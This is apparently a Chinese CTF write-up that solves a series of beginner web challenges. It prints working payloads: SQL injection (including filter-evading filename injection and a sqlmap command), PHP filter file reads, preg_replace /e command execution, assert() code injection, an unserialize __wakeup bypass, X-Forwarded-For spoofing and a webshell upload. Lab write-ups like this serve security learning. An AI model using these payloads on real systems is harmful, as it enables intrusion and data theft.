cat:抓住那只猫
在输入任何网站都无效的情况下,输入localhost
发现还是有回显的,进行Fuzz测试发现@未被过滤,会将@编码为%40
试一试宽字节,%bf
发现是一些HTML网页代码,带着好奇心,我打开了PHPSTUDY进行本地测试
看到了熟悉的django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。
看了一下大佬的WP发现@的作用是读取文件内容
ics-04
有三个可以访问的功能,注册、登录和找回密码
注册功能:没有sql注入,一个账号可以重复注册漏洞
登录功能:没有sql注入,一个账号不同密码能够登录
找回密码功能:存在sql注入,payload:
![A2`Y[TM(NN{(E]ICSQEHDBG.png](https://l0ki-town.oss-cn-beijing.aliyuncs.com/l0ki.top/1576416559902-5f3c283d-4f95-4dad-9d07-473c685cb6d1.png)
1 | sqlmap "http://111.198.29.45:43546/findpwd.php" --data="username=1" |
得到账号:c3tlwDmIn23,密码:2f8667f381ff50ced6a3edc259260ba9
利用重复注册账号漏洞,注册账号c3tlwDmIn23,密码123456,登录成功,取得flag
ics-05
查看源码发现?page=index,出现page这个get参数,联想到可能存在文件包含读源码的漏洞
尝试读取index.php的页面源码,通过php内置协议直接读取代码
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
代码审计
base64解密之后,审计源码,分析得到如下关键部分
1 | <?php |
preg_replace函数
1 | 函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。 |
preg_replace函数存在命令执行漏洞
此处明显考察的是preg_replace 函数使用 /e
模式,导致代码执行的问题。
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
也就是说,pat和sub有相同部分,rep的代码就会执行。
根据源码分析X-Forwarded-For改成127.0.0.1之后,GET进三个参数。然后调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入”/e”触发漏洞
构造payload
看到这样的代码我们可以这样构造payload:
在HTTP头添加:
X-Forwarded-For:127.0.0.1
/index.php?pat=/a/e&rep=system(‘ls’)&sub=a
从而爆出文件列
/index.php?pat=/a/e&rep=system(‘ls+文件名’)&sub=a
从而爆出该文件下的文件名
/index.php?pat=/a/e&rep=system(‘ls+文件名/文件名’)&sub=a
ics-06
根据提示进入报表中心,发现url中id=1,尝试爆破,发现当id=2333时会有flag
lottery
大名鼎鼎的彩票题,代码审计PHP弱类型,true和1的返回结果一样,所以直接构造:
{“action”:”buy”,”numbers”: [true,true,true,true,true,true,true]}
NewsCenter
不是xss就是sql,但是想到这是一道CTF题,xss的几率不大,所以直接尝试,
爆库(xxxx,爆表(xxx,爆列(xx,爆值(x
1 | 1' union select 1,1,database() # |
mfw
代码注射题:
先用GitHack 将源码down下来assert()函数容易引起代码注射:
eg:
1 |
|
涉及函数:
- strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
语法:strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
- file_exists() 函数检查文件或目录是否存在
如果指定的文件或目录存在则返回 true,否则返回 false。
根据上述特性可以对assert第一次出现的位置进行构造:
通过可控变量file传入恶意参数,构造闭合 strpos(),使assert()执行恶意代码
1 | 位置: |
我们也可以对第二处进行构造:
通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码
1 | 位置: |
关于此处的#: #是单行注释,由assert(“phpinfo()”) <==> 可知,#的作用域仅仅是assert(函数内)
即为注释掉 ‘)
利用:
1’) or print_r(file_get_contents(‘templates/flag.php’));#
Training-WWW-Robots
[百度一下robots]:
Robots.txt 是存放在站点根目录下的一个纯文本文件。虽然它的设置很简单,但是作用却很强大。它可以指定搜索引擎蜘蛛只抓取指定的内容,或者是禁止搜索引擎蜘蛛抓取网站的部分或全部内容。
使用方法:
Robots.txt 文件应该放在网站根目录下,并且该文件是可以通过互联网进行访问的。
例如:如果您的网站地址是 http://www.yourdomain.com/那么,该文件必须能够通过 http://www.yourdomain.com/robots.txt 打开并看到里面的内容。
格式:
User-agent:
用于描述搜索引擎蜘蛛的名字,在” Robots.txt “文件中,如果有多条User-agent记录说明有多个搜索引擎蜘蛛会受到该协议的限制,对该文件来说,至少要有一条User-agent记录。如果该项的值设为,则该协议对任何搜索引擎蜘蛛均有效,在” Robots.txt “文件中,”User-agent:“这样的记录只能有一条。
Disallow:
用于描述不希望被访问到的一个URL,这个URL可以是一条完整的路径,也可以是部分的,任何以Disallow开头的URL均不会被Robot访问到。
所以直接访问,再继续访问flag页面即可
NaNNaNNaNNaN-Batman
下载附件:
1 | <script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script> |
加上HTML后缀点开发现乱码,解决办法:将eval改为alert,输出源码“
1 | function $() |
解法1:构造payload输进文本框,payload需要满足1.16位 2.be0f23开头 e98aa结尾的 be0f233acc7be98aa
解法2:将含有输出flag的代码放到控制台即可
1 | var t=["fl","s_a","i","e}"]; |
unserialize3
根据标题,我们能看出来这是一道PHP反序列化题,仔细斟酌,我们需要将它进行序列化,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup
的执行。
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。
可以在__sleep()方法里可以决定哪些属性被序列化
如果没有__sleep()方法则默认序列化所有属性
eg:
1 | 序列化函数serialize() |
本题序列化出来:O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
则如果要绕过__wakeup,则只需改变对象属性的个数即可绕过,则把O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;} 中的1改为大于它的数即可
Bug
大坑1:二次注入
进去之后尝试二次注入。即注册用户admin ‘# 完事儿后进去修改密码,修改完的就是admin的密码,结果发现用admin登录之后没用
大坑2:爆破
大坑3:忘记密码
在各种办法都试过之后,我终于看到忘记密码这个选项了,别的办法的都试过了,没用,那就只能从这下手了,尝试修改密码,用admin的账户修改,发现报错,没用,差点死心了,不得已而为之,我只好尝试修改自己注册的二次注入用户admin ‘#,用它修改密码然后抓包,修改它,即用户名为admin,发现修改成功!
大坑4:IP伪造
进去之后,不多BB直接点manage,发现IP不被允许,只好再次抓包,在Referer头下面添加X-forwarded-for:127.0.0.1,伪造成功!
大坑5:do???
进去之后啥也没,只好查看页面元素发现提示:
1 | index.php?module=filemanage&do=??? |
do???这时候就得猜了,无非就是文件上传,upload,尝试之后,终于进去了:
大坑6:一句话写法
发现写入一句话,显示上传失败:it’s a php,尝试写入
1 | <script language="php">eval(.....懒得打)</script> |
大坑7:后缀名
发现不让上传PHP文件,更改后缀为js或html,虽然成功了但是没爆出flag,也归为失败
几番尝试之后,发现后缀改为php5即可
Upload
这道题虽说是一道文件上传题,确实是,但是套路用的却是sql注入的,我怎么想也想不到,fuzz几遍后迫于无奈看了一下wp,才发现这是sql注入并且注入点在filename,ohmygod,我太难了。。。
注入思路
用了一下以往的注入思路,union select 1,1,1#
发现不仅没点卵用,而且还过滤了union和select
爆库
1 | '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg |
尝试以后发现用这个数据库暴不出来表
然后修改一下substr的起始位置参数,看看后边还有没有
修改为:
1 | '+(selselectect CONV(substr(hex(database()),13,20),16,10))+'.jpg |
数据库名合起来为:web_upload
爆表名
1 | '+(seleselectct CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg |
爆列名
1 | '+(seleselectct CONV(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg |
列名就出来了:i_am_flag,其实后面不用爆就能猜到是lag
爆值
1 | '+(selselectect CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg |
flag的值我们就有了:!!<_@m_Th.e_F>!lag
相关知识点
首先很多人一定有疑问,这个注入语句两端的+加号和单引号是干嘛的?
加上+的意思是把页面传进来的值放在SQL语句里拼接起来
记住这样的传值格式
“numbers”: [true,true,true,true,true,true,true]} //定义数组
“numbers”:”1,2,3,4,5,6,7”}
‘+(xxxxxx)+’
函数
1 | 1.CONV() |